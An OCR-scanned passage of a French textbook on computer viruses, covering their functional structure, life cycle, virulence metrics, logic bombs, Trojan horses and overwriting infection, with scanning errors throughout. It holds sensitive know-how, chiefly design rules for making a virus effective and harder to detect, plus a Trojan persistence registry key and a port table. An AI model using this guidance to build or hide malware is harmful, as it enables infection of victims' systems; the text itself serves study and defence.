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l'utilisateur a cliquer dessus. Cet exemple illustre combien, dans le futur, la menace va se diversifier aux differentes plateformes et evolucr vers des formes hybrides. Dans le reste de cette section, nous nous limiterons aux seuls programmes autoreproducteurs. Les infections simples seront traitees a part dans la section 5.3.



5.2.2 Diagramme fonctionnel d'un virus ou d'un ver La structure generale (encore appelcc diagramme fonctionnel) des programmes de type autoreproducteur est la suivante : - une routine de recherche des programmes cibles. Un virus efficace verifiera que le fichier est executable, a le format correct, et que la cible n'est pas deja infectee (pour ce dernier point, il s'agit de minimiser les risques de detection de I'activite virale en interdisant la surinfection; un virus d'executable de type *. COM fonctionnant par ajout de code risquerait, sans cette precaution, de depasscr la limite des 64 Ko). Cette partie du virus determine directement son efficacite, en termes de portce (action limitee au repertoire courant ou sur tout ou partie de l'arborescence du systeme de fichiers) et de rapidite (limitation des acces disques en lecture par exemple). A noter que le controle de la surinfection s'opere assez souvent par la presence d'une signature introduite par le virus'' et donc utilisable par les antivirus 7 ; - une routine de copie. Son but est de copier, selon les modes d'infection possibles decrits dans la section 5.4, dans la cible prealablement identifiee, son propre code; - une routine d'anti-detection. Son but est de contrer l'action des antivirus pour assurer la survie du virus. Les techniques utilisees seront decrites dans la section 5.4.6 ; - eventuellement une charge finale, couplce ou non a un mecanisme de declenchement differe (gachcttc}. Cette routine n'est pas une caracteristique obligatoire pour caracteriser un virus qui n'est a l'origine qu'un simple programme autoreproducteur. La volonte de nuisance des programmeurs de virus fait qu'actuellemment cette charge finale existe 6



7



Le terme de « marqueur d'infection » est egalement utilise pour distinguer les contextes virus et antivirus. Le choix du terme unique de signature permet de mieux souligner le caractere dual et done dangereux de tout marqueur d'infection dans la mesure OU il peut constituer un element de preuve d'infection. Cette signature est en fait un « marqueur d'infection » mais le terme « signature» dans ce contexte permet de mieux rendre compte du caractere dual (defense et attaque) de cette chaine de caracteres.
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pratiquement toujours. Notons que dans le cas de certains virus (fonctionnant notamment par ecrasement de code) et de certains vers (occasionnant par un scan agressif, tel le ver Sapphire [39], une attaque par saturation des serveurs), l'infection informatique elle-rneme constitue une charge finale.



5.2.3 Les cycles de vie d'un virus ou d'un ver Si l'on excepte la phase de conception et de test, par le createur du virus, trois phases dans la « vie» d'un virus ou d'un ver peuvent etre identifiees, Leurs durees de vie respectives peuvent etre plus ou moins longues, selon le type de virus et l'effet recherche. La vie d'un virus commence par sa diffusion, une fois qu'il a ete incorpore a un programme d'apparence inoffensive, le dropper. Le programmeur du virus utilisera, en fonction de la ou des cibles, un programme adapte aux victimes, selon les principes de base de I'ingenierie sociale [93]. Dans le cas d'attaques ciblees (groupe reduit de victimes), une phase de renseignement prealable sera necessaire. Dans le cas general, l'utilisation de logiciels de jeux, de logiciels pirates ou d'executables bases sur l'humour (les animations de type Flash), la pornographie... sont des standards.



La phase d'infection Durant cette phase, le virus va se propager dans l'environnement informatique cible. Cela peut se produire de deux maniercs : - Passivement. Le dropper est copie sur un support (disquette, CDROM grave, clef USB, site de telechargement, forum de discussion ... ) et transmis. Les victimes peuvent alors le copier dans leur propre environnement, avant de l'executer. Notons a ce propos qu'il existe plusieurs cas connus, ou des professionnels de l'industrie informatique ont cux-memcs par erreur (et une certaine negligence) diffuse des logiciels contenant des virus ou des vers : - virus 1099 (encore appele Mange_tout) transmis dans le nord de l'Europe et en France, par I'intermediaire de disquettes vierges prefermatees. L'usine les produisant utilisait, sans le savoir, un logiciel de formatage infecte par le virus; - le virus Warrier a ete diffuse par un site de telechargement de shareware sous la forme d'un jeu appele Packman; - la firme Yamaha a diffuse un driver pour son CDR-400, infecte par le virus CIH tandis que la firme IBM a cornmercialise, en mars 1999, des ordinateurs de la aamrne Ant.iva. infectes Dar le meme virus r881 :
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- la firme Microsoft a diffuse le macro-virus concept via trois CDROM commercialises par deux compagnies [89]. - Activement. L'utilisateur execute le dropper (cas de la premiere infection dans le systeme, appclce primo-infection) ou un fichier deja contamine lors d'une infection antcricure (primo-infection ou non). C'est cette phase qui differencie les programmes autoreproducteurs (virus et vers) des infections simples: la duplication du code. Des qu'un programme recopie son propre code, meme une seule et unique fois (cas de virus a la virulence ciblee et limitee), il y a mecanisme viral : deux copies, au moins, du code sont prcscntes sur la machine. Ce n'est pas le cas pour une infection simple.



La phase d'incubation Cette phase constitue la plus grande partie de la vie d'un virus. Une exception notable est celIe des virus espions qui limitent au strict minimum leur sejour dans l'environnement attaque et se desinfectent eux-memes, une fois leur fonction offensive achevee (voir le virus YMUN 20 presente dans le chapitre 16). La mission principale de cette phase est d'assurer la survie du virus, a travers toutes ses copies dans l'environnement cible. II s'agit de limiter, voire dempecher, sa detection: - soit par l'utilisateur. En particulier, la phase de conception veillera tout particuliement a evitcr les erreurs d'execution qui pourraient alerter l'utilisateur (voir section 5.2.6) ; - soit par l'antivirus. Dans cette optique, le virus va developper plusieurs techniques qui vont lui permettre de se derober a la surveillance antivirale. Elles sont presentees dans la section 5.4.6.



La phase de maladie Lors de cette phase, la charge finale est activee. Son mode de declenchement peut dependre de nombreux facteurs et sera fonction de l'endroit, dans le code, OU la routine offensive sera placee : - en tete de code, la charge finale sera systematiquement executee, avant toute infection. Ce cas est rare, il a pour consequence de limiter generalement la phase de survie du virus ou du ver; - en fin de code, elle n'aura lieu qu'aprcs le processus d'infection ; - au milieu du code, en particulier si elle est conditionnee par la reussite ou non de l'infection ; cet aspect-la sera explicite dans la seconde partie de I'ouvraae consacree a I'alzorithmioue virale.
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Son declenchement peut egalement etre differe selon un mecanisme de gachette. La charge finale est alors une bombe logique montce sur un vecteur viral. Le facteur declenchant peut alors etre : - une date systeme (virus vendredi 13, century ou CIH) ; - le nombre d'infections realisees ; - la frappe d'une sequence particuliere de touches un certain nombre de fois (par exemple touches CTRL+ALT+SUPP tapees 112 fois) ; - nombre d'ouvertures d'un document Word (virus Colors apres 300 ouvertures de documents) ; En fait, tout depend de l'imagination du programmeur qui recherchera soit un effet insidieux ou selectif ou au contraire un effet de masse. La nature des effets de la charge finale peut elle aussi etre de nature tres variable. Les effets peuvent etre : - de nature non leiale : affichage d'images ou d'animations, de messages; emission de sons ou de musiques. II s'agit en general d'attaques dont le but est de s'amuser (attaques ludiques) ou d'attirer l'attention (virus Mawanella denoncant les persecutions des musulmans dans le nord du Sri Lanka, virus Coffee Shop militant pour la Iegalisation de la marijuana.... ) ; - de nature leiale : il s'agit la de porter atteinte a la confidentialite des donnees (evasion de donnees), a I'integrite du systeme ou des donnees (formatage de disques durs, destruction totale ou partielle de donnees, modifications aleatoires de donnees .... ), a la disponibilite du systeme (redemarrage aleatoire du systeme d'exploitation, saturation, simulation de pannes de peripheriques... ) ou des donnees (chiffrement du disque dur) et incrimination des utilisateurs (introduction de donnees compromettantes, utilisation du systeme a des fins delictueuses ou criminelles'") . La question de la destruction du hardware par une charge finale de virus ou de vers a depuis longtemps ete evoquee et beaucoup d'experts ont pretendu et continuent d'affirmer qu'une telle chose est impossible. L'« argument» le plus souvent avarice, pour le moins surprenant, est qu'aucun virus dote de telles fonctionnalites n'a jamais encore ete rcncontre. Aussi, lorsqu'un virus comme CIH est apparu, la controverse a ete relancee de plus belle. 8



Le ver Pedoworm, par I'intermediaire d'un mail envoye a plusieurs forces de police, denoncait les personnes dont le systeme etait infectc, comme ayant des activites pedophiles (lire Dour nlus de details. la section 14.3).
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parler, CIH ne detruit pas le materiel, tout au plus des elements logiciels stockes « en dur » (BIOS assimilable a un firmware), incitant par facilite ou par economic, le plus souvent, a changer la carte mere plutot que de remplacer un circuit BIOS sonde. L'attaque materielle est ici seulement simulee (pour plus de details, voir [88]). Cela signifie-t-il que la destruction du materiel par un virus ou un ver n'existe pas? Certainement pas. Des exemples averes, certes anciens pour la plupart, de lecteurs de disquettes ou de disques durs, deteriores par requetes repetitives en lecture/ecriturc hors des limites normales, sont connus. Mais ces codes destructeurs ne frappent pas tous les disques, certains etant dotes de fonctions de protection au niveau du controleur. Or, c'est la precisement que se situe la meprise. Unc destruction materielle ne peut etre que specifique d'un peripherique donne, d'une marque ou d'un type donne, d'une version de firmware et n'a pas le caractere generique habituellement attribue a un virus qui fonctionne pour tous les systemes equipes du systeme d'exploitation vise. La destruction materielle sera le fait d'un virus cible, au pouvoir infectieux limite, pour une « utilisation» non moins ciblee. Et c'est la que reside le danger, car il y a peu de chances qu'un tel virus soit detecte par les antivirus. De reelles possibilites existent: endommagement dccrans, de cartes video, de processeurs et de disques durs ... sans que cela ne soit necessairement ni rapide (un delai plus ou moins long peut etre requis pour obtenir l'effet desire) ni spectaculaire. Sans entrer dans les details (il n'est pas question de faire des emules), disons que ces possibilites precedent d'une evolution toujours plus grande de la gestion du materiel par le logiciel. La OU, il y a quelques annces, des cavaliers ou d'autres dispositifs physiques permettaient la configuration en « dur », c'est le logiciel qui a pris le relais. L'autre aspect de la destruction materielle par virus a considerer est que ces effets, etant sporadiques, ont vraisemblablement de grandes chances d'etre percus comme de simples pannes. Precisons enfin que si la plupart des firmware actuels sont effectivement dotes de fonctionnalites interdisant les attaques les plus evidentes et les plus simples, contre le materiel, d'autres fonctionnalites ont ete rajoutees, le plus souvent dans un souci de plus grande ergonomie, voire pour accroitrc la su.rete materielle, Ces fonctionnalites peuvent etre detournees pour produire un effet reel sur le materiel. Ces fonctions sont assez souvent non renseignees et necessitent une etude fine de ces firmware. Extrcmcmcnt specifique du materiel, ces attaques n'auront pas la portabilite d'infections visant des ressources lozicielles (svsteme d'exnloitation ou armlications).
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5.2.4 Comparaison biologiquejinformatique Les termes d'infection, d'incubation et de maladie, employes dans la section precedente ne peuvent qu'inciter le lecteur a etablir un parallels avec le monde des virus biologiques. En fait, ce parallels est non seulement pertinent mais egalement et avant tout logique. Les travaux de von Neumann ont eu pour motivation la modelisation des mecanismos du vivant, et en premier lieu l'autoreproduction. Par la suite, le choix memc du terme de virus ri'etait pas fortuit car il correspondait a des phenomemes deja existants dans la nature et la comparaison s'est etablie naturellement dans l'esprit des chercheurs. L'activite scientifique et technologique tire son inspiration de la Nature et cherche tres souvent a la reproduire. Virus biologiques
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En consequence, tout mecanisme viral biologique trouve son equivalent dans le monde des virus informatiques. Le tableau 5.1 resume les principales comparaisons qui peuvent etre etablies entre les deux (pour plus de details sur les virus biologiques, le lecteur consultera par exemple [127]). A titre de comparaison, un virus biologique comme Ebola pourrait etre compare a un ver comme Sapphire/Slammer (dans les deux cas, la propagation est tres vite stoppee par le fait que les porteurs succombent tres vite au virus et n'ont pas le temps de propager l'infection). Le virus du SIDA pourrait etre compare a un virus polymorphe. En 1997, des chercheurs du departement d'informatique de I'universite du Nouveau-Mexique, a Albuquerque, ont defini le concept d'immunologie informatique en etudiant les analogies qui pouvaient exister avec le systeme immunitaire humain. Le modele qui en a decoule est desormais connu sous le nom de « modele de Forrest ». Le lecteur lira [70,120] pour une description detaillee de cette approche.



5.2.5 Donnees et indices nurneriques Les statistiques concernant les virus sont relativement difficiles a obtenir et a verifier. Les editeurs de logiciels antivirus, qui recoivent de nombreux comptes rendus d'infections de leurs clients (nombre d'infections, types de virus, fichiers infectes), ne communiquent pas beaucoup ce type de donnees, pourtant essentielles. Tout au plus publient-ils des instantanes (les dix virus les plus frequents du mois, diverses statistiques mensuelles ... ) mais rarement des donnees sur une periode assez longue qui permettrait une analyse approfondie sur le long cours. De plus, la concurrence et les enjeux commerciaux de la lutte anti-virale incitent certains editeurs a ne pas tous mesurer les choses de la memc maniere, et certains chiffres designent souvent des realitos differentes chez les uns et les autres. Le nombre d'infections informatiques et de leurs variantes est lui-meme difficile a etablir. II peut exister de fortes differences dans les recensements effectues par les editeurs d'antivirus. En se basant sur des donnees qui nous semblent les plus serieuses", rccoupecs par les resultats de sondages independants et celles issues de la base de virus de l'auteur, les chiffres suivants peuvent etre consideres : - le nombre total de virus connus (en considerant leurs variantes) etait, en janvier 2002, d'environ 70 000 ; 9



Source: Sophos www.sophos.com. Le lecteur pourra egalement consulter le site du CLUSIF : www.clusif.asso.fr/index . asp, rubrique infovirus. II y trouvera des statistiques claires et nrecises sur le risaue viral.
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- chaque mois, ent re 800 et 1 200 nou veau x virus sont decouverts ; - en janvi er 2002, la repar ti tion des infecti ons inform atiques ent re les differents ty pes est celle donnee en figure 5.2 (la categoric « divers » regroupe les autres ty pes de virus et de vers ).



Virus divers 22%



V irus d'executables 19%



Macro-virus 26%



Chevaux de Troie 26%



FIG . 5.2. Rep artition des infections informatiques (janvier 2002)



Un aut re point interessant est la mesure de l'impact d 'une infection informatique. En particulier, il n 'existe pas, a la connaissance de l'auteur, d 'echelle capable d 'evaluer les dangers d 'une infection , et de les classer par ord re d 'importance. Pour pallier cet te abs ence d 'indicat eurs, nou s avons defini plu sieurs mesures qui permettent une telle evaluation du risque.



D efi nit io n 49 (Virulen ce) L'indice infectieux f~ d 'un virus v mesu re le ris que a priori . Il est defini par : f O = Nombre de fich iers infectables par v . v Nombre total de fichi ers du susteme L'indice d 'infection var :



t/;



d 'un virus v mesure le ris que a pos te riori . Il est defini
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== Nombre de fichiers infectes par v . N ombre de fichiers infectables par v



La virulence Vv d 'um virus vest alors :



v == 10 X II == v



v



Nombre de fichiers infectes par v . Nombre total de fichiers du susteme



Dans le cas des uers, les indices precedents sont definis en considercni non pas des fichiers mais des machines injectees.



Les indices I~, I; et V sont tous compris entre 0 et 1. La notion de fichiers infectables depend fortement du virus considere, La quantite nombre total de fichiers (respectivement nombre total de machines) considere uniquement soit les executables (cas des virus d'executables de tous types), soit les documents « infectables » (cas des virus de documents). Dans le cas du nombre total de machines, ne sont considerees que les machines fonctionnant sur le systeme d'exploitation vise par le ver. Le but est de comparer ce qui est comparable (mesurer la virulence d'un ver sous Windows n'a pas de sens si l'on prend en compte les machines fonctionnant sous Unix). Le lecteur remarquera que ces indicateurs ne considerent que le risque d'infection et ne prennent pas en compte le risque attache a la seule charge finale. Ces indices sont relativement faciles a etablir pour les virus. En effet, par une analyse des fichiers d'une machine, les quantites Nombre de fichiers infectables, Nombre total de fichiers du susteme et Nombre de fichiers infectes sont relativement faciles a obtenir. II n'en est pas forcement de memc pour les verso Dans ce cas, certaines donnees precises ne sont pas disponibles. Par exemple, dans le cas du ver Code red, combien de serveurs lIS etaient non patches, au moment de l'attaque du ver? De meme, la quantite totale de serveurs ou de machines dans le monde n'est pas connue avec precision. Malgre tout, ces mesures permettent de mieux apprehender le risque relatif des verso A titre d'exemple, un ver comme Codered (ver de type simple) posscde une virulence proche de 1, comme le montre I'equation (5.1) de la section 5.5.2. Le ver Sapphire/Slammer dont l'agressivite a provoque l'effondrement du roseau Internet et ainsi limite sa propre propagation posscde une virulence inferieure a celle de Code red, bien qu'appartenant a la memc categoric. Un ver d'emails posscdcra, dans tous les cas, une virulence inferieure a celle d'un ver simple!". En effet, la proportion des machines infectees par ce type de ver reste relativement faible. La vigilance de la plupart des utilisateurs 10



Et cela meme si les recentes attaques de 2004, par des vers comme MyDoom au Netsky montrent une auzmentation de la virulence.



124



Taxonomie, techniques et outils



en matiere de pieces jointes limite le risque. Ce n'est pas le cas en ce qui concerne les failles logicielles dont les utilisateurs n'ont parfois pas conscience. La virulence permet de manierc interessante de classer, certes de manierc approximative encore, les risques relatifs a chaque classe d'infection. Notons enfin que ces indices sont consideres hors de toute protection virale. II s'agit de mesurer le risque inherent a l'infection, independamment de l'antivirus. A la lumiere des experiences et des observations, et en reprenant le parallele biologiquejinformatique presente dans la section 5.2.4, il nous a ete possible de definir la regIe, empirique, suivante.



Proposition 14 Le deqr« de deteciabiliie d 'une infection informatique est inversement proportionnel a la duree de la phase d'incubation et proportionnel au nombre d'infections survenues dans ce susteme. En d'autres termes : N ombre de copies Deiectabilite == C x - - - - - - Tincubation



oii 0 < C < 1. Nous considerons ici une phase d'incubation complete, c'est-a-dire n'ayant pas declenche d'alerte antivirale. Plus cette phase est longue, plus le risque de detection diminue, tandis que l'augmentation du nombre de copies accroit ce risque. La constante C decrit un certain nombre de parametres: la qualite plus ou moins grande d'ecritnre (presence de bugs par exemple), l'utilisation de techniques anti-antivirales, la nature de la charge virale ... Bien qu'empirique, cette mesure pour la detectabilite decrit assez bien la realite dans la grande majorite des cas. De plus, cette regIe permet de prendre en compte, mcme empiriquement, l'effet total du virus (prise en compte de la charge virale). Le degre de risque que represente une infection informatique pour un systeme donne varie grosso modo inversement avec le degre de detectabilite de cette infection.



5.2.6 La conception d'une infection informatique La conception d'un virus informatique reclame beaucoup de rigueur et de soin. Nombreux sont les virus qui ont ete detectes suite a une erreur dcxccution provenant d'un defaut de conception ou en raison d'un ou plusieurs « bugs », qui de plus limitent leur action. Nous en verrons quelques exemples dans la partie 6.3.2, consacree aux aspects pratiques des virus et des verso Quelles sont alors les regles pour concevoir un virus efficace et le moins detectable nossible ?



5.2 Aspects generaux des infections informatiques
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En premier lieu, une veritable refloxion doit etre monee afin de definir precisement le referentiel de travail. II s'agit de determiner: - la nature de la ou des cibles (environnement materiel, versions de systcme d'exploitation, logiciels utilises ... ). Le but est de connaitrc les limitations que l'environnement cible va imposer au virus. Par exemple, attaquer une machine utilisant Internet Explorer [65] sera plus facile que si cette machine utilise Netscape; - le niveau de savoir-faire des victimes en matiere de securite. L'utilisateur maitrise-t-il, par exemple, suffisamment son systeme d'exploitation pour en faire regnlierement un audit de securite ? L'administrateur du systeme et l'officier de securite du systeme appliquent-ils une politique de securite ? Si oui, est-elle rigoureuse? La veille technologique, notamment des vulneralibilites, est-elle prise en compte? Les correctifs de securite sont-ils regnlierement et rapidement mis en place? Les 10giciels de securite (antivirus, pare-feux) sont-ils mis a jour et evalues regnlierement ? - les habitudes et inclinations des utilisateurs, dont I'etude et l'analyse permettront, dans certains cas, d'optimiser l'attaque par le biais de I'ingenierie sociale [93] ; - la nature precise des logiciels de securite que l'infection informatique devra affronter. L'etude specifique de ces produits permettra d'en connaitre les limitations, les points faibles. Tous ces elements seront plus ou moins facilement obtenus par une phase prealable de renseignements. En consequence, si l'on se place du point de vue des cibles, une veritable politique de discretion professionnelle doit etre incluse dans la politique de securite informatique. Precisons qu'une attaque virale reussie est de plus en plus une attaque virale ciblee pour un referentiel donne. L'efficacite actuelle des antivirus modernes n'autorise plus l'amateurisme ni les attaques generalisees contre des systemes generiques. Une fois l'environnement fixe, la conception du virus lui-meme doit etre soigneusement pensee. Le virus devra s'adapter a l'environnement de travail defini, donc etre capable de l'analyser et d'agir sur lui en consequence. Par exemple, si son action depend de la presence d'un fichier donne ou si, au contraire, il ne doit pas agir en cas de presence de tel autre logiciel, le virus devra etudier le systeme sous cet angle. Le point essentiel concerne enfin la qualite de programmation. Nombreux sont les virus a avoir ete detectes en raison d'une programmation peu soignee, occasionnant des erreurs trahissant leur presence ou limitant leur action. Les nrinciDales recles sont les suivantes :
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- tester les valeurs de retour de toutes les fonctions utilisees, Rien n'est plus dangereux, par exemple, que de tenter d'ouvrir un fichier qui n'existe pas ou d'utiliser une fonction sans tester son code de retour. De meme, il est preferable de tester si une cible eventuelle est bien un executable. Le programmeur doit constamment avoir pour souci de gerer les erreurs eventuelles et les effets de bordo Cet aspect de la programmation sera illustre par de nombreux exemples dans la partie 6.3.2 ; - tester les routines critiques isolement. Dans le cas d'un ver comme Sapphire, par exemple, un bug sur le generateur aleatoire d'adresses IP a limite son action. Si ce generateur avait ete teste soigneusement, l'auteur du ver aurait remarquc un biais notable dans les adresses IP generees [39] ; - gestion de la surinfection. Le virus ou le ver ne doit pas reinfecter une cible deja infectee. L'effet peut etre dramatique, par exemple dans le cas d'un virus fonctionnant par ajout de code ou dans le cas d'un ver (multiplication des processus) ; - inhibition des eventuels messages d'erreurs. Pour resumer, il s'agit de controler toutes les etapes de l'infection. Insistons sur le fait qu'un virus sera d'autant plus indetectable qu'il adopte un certain mimctisme avec un programme traditionnel, « normal ». Cela requiert, quelquefois, entre autres aspects, de limiter le pouvoir infectieux du virus ou du ver. En d'autres termes, a trop vouloir etre « gourmand» en infectant le plus grand nombre de fichiers possibles, les programmeurs affaiblissent leur creation.



5.3 Les infections simples Bien que cet ouvrage soit essentiellement consacre aux programmes de type autoreproducteur, nous presenterons succinctement les infections simples, dans un but d'exhaustivite. Le mode propre de ces programmes, comme leur nom l'indique, est de simplement s'installer dans le systeme. L'installation se fait generalement et simult.ancmcnt ' ' (pour les programmes les plus elabores) : - en mode resident : le programme est resident (processus actif en memoire de facon permanente) afin de pouvoir agir tant que le systeme fonctionne ; - en mode furtif : l'utilisateur ne doit pas se rendre compte qu'un tel programme, puisque resident, est present dans son systeme. Par exemple, 11



A noter



aue certains virus et surtout les vers adontent le meme nrocessus d'intallation.
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le processus attache n'est pas visible lors de l'affichage des processus en cours (ps -aux sous Unix ou Ctrl+Alt+Suppr sous Windows). D'autres techniques existent pour leurrer l'utilisateur et les eventuels antivirus; - en mode persistant : en cas d'effacement ou de desinstallation, le programme infectant est capable par diflerentes techniques de se reinstaller dans la machine independamment d'un dropper (sous Windows generalement plusieurs copies de ce programme sont cachees dans les repertoires systemes et une ou plusieurs clefs sont ajoutees dans la base de registres par le programme lors de l'installation initiale, afin d'assurer la reinstallation). Ce mode permet egalement, au demurrage de la machine, de lancer le programme infectieux en mode resident. A titre d'exemple, le cheval de Troie Back Orifice 2000, ajoute, dans la base de registres, la clef suivante contenant le nom du fichier infecte



HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices.



A chaque demarrage de la machine, le module serveur est ainsi reactive. Ces techniques de persistance sont systematiquement utilisees dans les agents malicieux composant un botnet (voir chapitre 11). Au final, il est essentiel de noter qu'une seule erreur de l'utilisateur suffit pour l'installation durable de ce type d'infections dans un systeme. Tant que le programme infectieux n'aura pas ete completement eradique, le systeme sera corrompu. Les programmes simples infectants appartiennent essentiellement a deux classes.



5.3.1 Les bombes logiques Definition 50 Une bombe logique est un programme injectant simple, s iinstallant dans le susieme et qui attend un euenemeni [date, action. donnees porticuiieres... J appele en general « gachette », pour execuier sa jonction offensive.



Ces programmes constituent assez souvent la charge finale d'un virus (ex. virus CIH qui se declenche chaque 26 avril, pour la version 1.2 [88]). C'est la raison pour laquelle les bombes logiques sont souvent assimilees, par erreur, aux virus et aux verso Un exemple celebre de bombe logique est celui d'un administrateur systeme ayant implante un programme verifiant la presence de son nom dans les registres de feuilles de paie de son entreprise. En cas d' absence de ce nom (ce qui signifie que l' administrateur a ete renvoye ), le programme chiffrait tous les disques durs. L'entreprise, ne possedant pas la clef de chiffrement utilisee. ne nouvait nlus acceder a ses donnees. De
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plus, le systeme de chiffrement utilise offrait un niveau de securite tel que la cryptanalyse etait impossible. II est alors ais« de comprendre pourquoi les antivirus ont du mal a lutter contre les bombes logiques (avant qu'elles n'aient ete identifiees et que la base de signature n'ait ete actualisee, auquel cas la detection est systematique). Ce sont en apparence de simples programmes. Les techniques evoluees de lutte antivirale (analyse heuristique, emulation de code) sont condamnees a etre constamment mises en defaut, face a des bombes logiques inconnues. La simple determination du caractere offensif d'un tel programme, basee sur l'utilisation de commandes differees est, par exemple, vouec a I'echec sous Unix (les commandes at, batch sont frequemment utilisees notamment dans des scripts). Le probleme est le memc quel que soit le systeme d'exploitation.



5.3.2 Les chevaux de Troie et leurres La notion de cheval de Troie informatique correspond intimement version historique de l'Iliade d'Homere.



a la



Definition 51 Un cheval de Troie est un programme simple, compose de deux parties, le module serveur et le module client. Le module serueur, installe dans l 'ordinateur de la oictime, donne discretemeni a l 'atuiquant acces a tout ou partie de ses ressources, qui en dispose via le reseau (en general) i grace a un module client (il est le « client » des « services » delivres inconsciemment par la victime).



Le module serveur est un programme generalement dissimule dans un autre programme, anodin et « attractif » (voir section 5.2). L'execution de ce dernier, au minimum une fois, installe a l'insu de la victime la partie serveur du cheval de Troie 12 . Le module client, une fois installe, cette fois volontairement, dans la machine de l'attaquant, recherche sur le reseau, grace a la commande ping 13 , 12



13



Ce module serveur est l'analogue informatique de la poignee de soldats grecs, caches dans ce qui semblait u'etre qu'une statue gigantesque de cheval, offerte par les Grecs aux Troyens avant de renoncer a assieger leur ville. La suite est connue. Les soldats grecs, de nuit, ont ouvert les portes de la ville de Troie au gros de I'armee grecque (analogue du module client), leur livrant ainsi la ville. Cette commande permet de detecter les machines presentes effectivement sur un reseau ; il s'agit en quelque sorte d'obtenir un « echo sonar informatique » des machines connectees (emission d'un paquet de type IP et renvoi par la machine distante, si connectee, du naauet avec une valeur de delai d'attente).
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les machines infect ees par le module serv eur pui s en prend le cont role, lor squ 'il a obtenu en retour l'adresse IP et le port (TCP ou UDP ) des machines accessibles (voir figure 5.3). Cette prise de controle lui permet de mener un nombre plus ou moins grand, selon la nature du che val de Troi e, d 'actions offensives : redemarrage de la machine, transfert de fichiers , execution de code, destruction de donnees , ecoute du clavi er, etc . Les exem ples les plus 1 : ping 192.168.*.*



2: po ng 192.168.1.121 port 31337



Mod ule Serve ur (Victime)



Mod ule Client (Attaqua nt) 3 : prise de controle



@IP 192.168.1.121



F IG. 5 .3. Mecauismes d'action d 'un cheval de Troie



celebres de cheval de Troie sont les logiciels Back Orifice (p rotocole UDP, port 31337) , Netbus (protocole TCP, port 12345) et SubSeven . Ces logiciels , comme pour les bombes logiques, sont detectes de maniere inegale. Un cheval de Troie, non diffus e sur Internet , bien programme, a toutes les chances de cont ourner un ant iviru s. L'usage de pare-feux (conjointem ent a un ant ivirus et tous deux bien configures) est hautement conseille, meme si plusieurs t echniques sont connues ou a l'etude, qui p ermettent de les cont ourner. Le tableau 5.2 donne le port et le protocole utilise par les chevaux de Troi e les plus frequents . Les leurres, ou programmes imitant le fonctionnement normal d 'un programme legit ime du system e (fau sse bannier e de connexion Unix par exemplel"}, les espions de claviers (k eyloggers) ne sont que des cas particuli ers de che vaux de Troie, OU le module client est reduit a sa plus 14



Le leurre Login imitait l'ecran d 'invite de connexion des syst emes Unix, en se « superposant » a l'ecran reel. Lorsque l'utilisateur se connec t ait (saisi e du nom d 'u tilisateur et du mot de nasse) . Ie leurre simulait une err eur de mot oasse (cas freouent lorsoue ce
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~ Protocole I Cheval de Troie I



TAB.



1024



TCP



NetSpy



1243



TCP



SubSeven



1999



TCP



Backdoor



6711



TCP



SubSeven



6712



TCP



SubSeven



6713



TCP



SubSeven



6776



TCP



SubSeven



12345



TCP



Netbus



12346



TCP



Netbus



12456



TCP



Netbus



20034



TCP



Netbus 2 Pro



31337



UDP



Back Orifice



54320



UDP



Back Orifice



54320



TCP



Back Orifice 2000



5.2. Ports et prot 0 coles utilises par quelques chevaux de Troie



simple expression et demeure passif. L'action « offensive» consiste, pratiquement toujours, a recuperer une ou plusieurs informations et s'effectue passivement par analyse (sniffing) des paquets IP transitant par le roseau ou envoi a des adresses fixces. Ces techniques de base peuvent connaitrc des variations et l'attaque par le couple Scob / Padodor en est une parfaite illustration 15 .



5.4 Les modes d'action des virus Dans ce qui suit, il ne sera pas fait de distinction entre virus et verso La notion specifique de ver informatique sera precisee dans la section 5.5.2 OU il sera montre que les vers ne sont qu'une classe particuliere de virus.



15



dernier est saisi trop rapidement) mais en realite, il sauvegardait les donnees saisies et redonnait le controls au veritable ecran de connexion. Scob est un « chargeur de cheval de Troie » exploitant une faille de securite des serveurs web lIS. II s'agissait d'un script Javascript malveillant qui installait un autre cheval de Troie, nomme Padodor, lorsqu'un utilisateur parcourait une page hebergee par un serveur infecte et que son propre navigateur Internet Explorer etait une version vulnerable a cette attaque. Padodor est un keylogger espionnant les frappes au clavier (nom d'utilisateur zmot de passe pour certains services et fournisseurs d'acces ainsi que les numeros de cartes bancaires). Les donnees etaient envovees a un individu malveillant.
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Les virus infectent leur cible selon qu atre modes. Le pro cessus est simple: I'executabl e cible, un e fois identifi e, va recevoir un e copie du virus, direct ement au niveau du fichier executable sur le disque. Ce proces sus de copie s'effectue au niveau du code bin air e, la copie du virus etant sous form e d 'un code executable. II en resulte, cont rairement aux virus en code source, qui seront present es dans la section 5.4.5, une heterogeneite du code execu table infecte resul tant . Une analyse dir ect e du code bin air e (voir la sect ion 5.6) permet t ra rapidement de detecter la presence d 'un code viral, aisernent reconnaissable dans la plupart des cas (rneme dan s le cas de codes pol ymorphes) .



5.4.1 Vir u s par eorasement de code Ces virus sont encore appeles virus agissa nt par recouvrement de code. Lorsque le virus est execute (via un programme infecte) , il infecte les cibles pr ealabl ement identifi ees par la routine de recherche en ecrasant leur code executable (en tout ou partie) avec son propre code. Ce ty pe de virus est en



~



En-tete



En-tet e Code



Virus



Virus Code + data



Programme cible



Rellqu at clble



Programme co rrompu



F IG . 5.4. Infection par ecrasernent de code



general de taille assez petite (quelques dizaine s a quelques centaines d 'octets) . Depourvu en general de charge final e (afin de limit er au maximum sa taille) , le virus en constitue une a lui tout seul, puisque l'infec tion se tr aduit par un e destruction des execut ables infect es. En effet, t rois cas se pr esent ent : - le virus ecrase la partie initiale du code de la cible. L'en-tete specifique de l'executable hote, dont la fonction est de st ruc t ure r les donnees et le code afin de faciliter la projection en memoi re par le systeme d 'exploitation (E X E header des fichiers EXE 16 bits. en-tete Po rtable Executable
